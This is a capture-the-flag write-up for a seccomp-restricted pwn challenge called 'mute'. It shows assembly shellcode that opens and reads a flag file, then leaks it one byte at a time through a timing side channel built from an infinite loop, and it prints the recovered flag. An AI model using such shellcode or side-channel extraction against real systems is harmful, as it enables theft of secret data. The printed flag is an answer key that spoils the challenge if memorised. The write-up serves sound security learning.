This was a very fun challenge by @Gynophage! The idea was fairly simple, you get a binary which will call your shellcode after a buffer of 0x1000 bytes is filled, and is restricted to certain seccomp rules.
If we look at the binary in Binary Ninja we can see the seccomp rules being setup:
Each value being passed to the addRule function is a syscall number which is allowed.
If we look at the addRule function, we can see it just wraps seccomp_rule_add, passing the syscall value and setting the action as 0x7fff0000 which turns out to be mapped to allow.
Enumerating all the possible syscalls we can use for our shellcode, we get this list:
sys_read sys_open sys_close sys_stat sys_fstat sys_lstat sys_poll sys_lseek sys_mmap sys_mprotect sys_munmap sys_brk sys_execve
Notice, we get execve, but we are also missing a crucial syscall for any common tasks - write. Now we can understand why this challenge is called 'mute'.
This challenge instantly reminded me of BROP, but less involved. We'll have to extract data from the remote server somehow. Similar to BROP & Blind SQLi, we could use a timing side-channel attack to extract the flag.
First let's read in the flag with your standard ORW shellcode (minus the write). We knew the flag would probably exist as './flag' thanks to @matir who discovered this from previous challenges such as beatmeonthedl.
; clear registers xor rax, rax xor rsi, rsi xor rbx, rbx xor rdi, rdi ; fd = open("./flag", 0, 0) push rax add rax, 2 mov rsi, 0x67616c662f2f2f2e push rsi mov rdi, rsp xor rsi, rsi xor rdx, rdx syscall ; read(fd, $rsp, 0xff) mov rdi, rax mov rsi, rsp mov rdx, 0xff xor rax, rax syscall
So far all we're doing is clearing out registers, opening the file './flag' and reading that directly to the stack.
Now we can read a byte off the stack at a time, compare that to some predicted value and hang the process if the value does matches.
Unfortunately we cannot just call 'sleep' because sys_nanosleep and other syscalls 'sleep' depends on are not allowed. However, we may implement our own sleep with some NOP's in a loop. In this case, I use an infinite loop (not recommended), because of laziness.
Also the variables I added here, $POS and $BYTE, are used to index into the flag and compare against a predicted value:
; verify one byte from the stack add rsp, $POS xor rax, rax mov al, $BYTE pop rbx, rsp mov bl, bl cmp al, bl je L2 jmp done L2: nop jmp L2 done: nop
Now we just need to write a client to dynamically assemble shellcode based on position in the flag buffer and byte to check, timing out on a valid character.
Here is the full client:
You can also find all the challenge files here - https://github.com/vitapluvia/writeups/tree/master/defconCTF2017/pwn
Ended up using rasm2 as the assembler for this challenge, it was very helpful when trying out various methods. If you'd like to install rasm2, just install radare2 and it'll come as a command-line tool. They also have python bindings, but I didn't get that to that point.
Now when we run the client, we get:
The flag is: I thought what I'd do was, I'd pretend I was one of those deaf mutes d9099cd0d3e6cb47fe3a9b0e631901fa ******************************************************************************************************************_____________ Done! The flag is: I thought what I'd do was, I'd pretend I was one of those deaf mutes d9099cd0d3e6cb47fe3a9b0e631901fa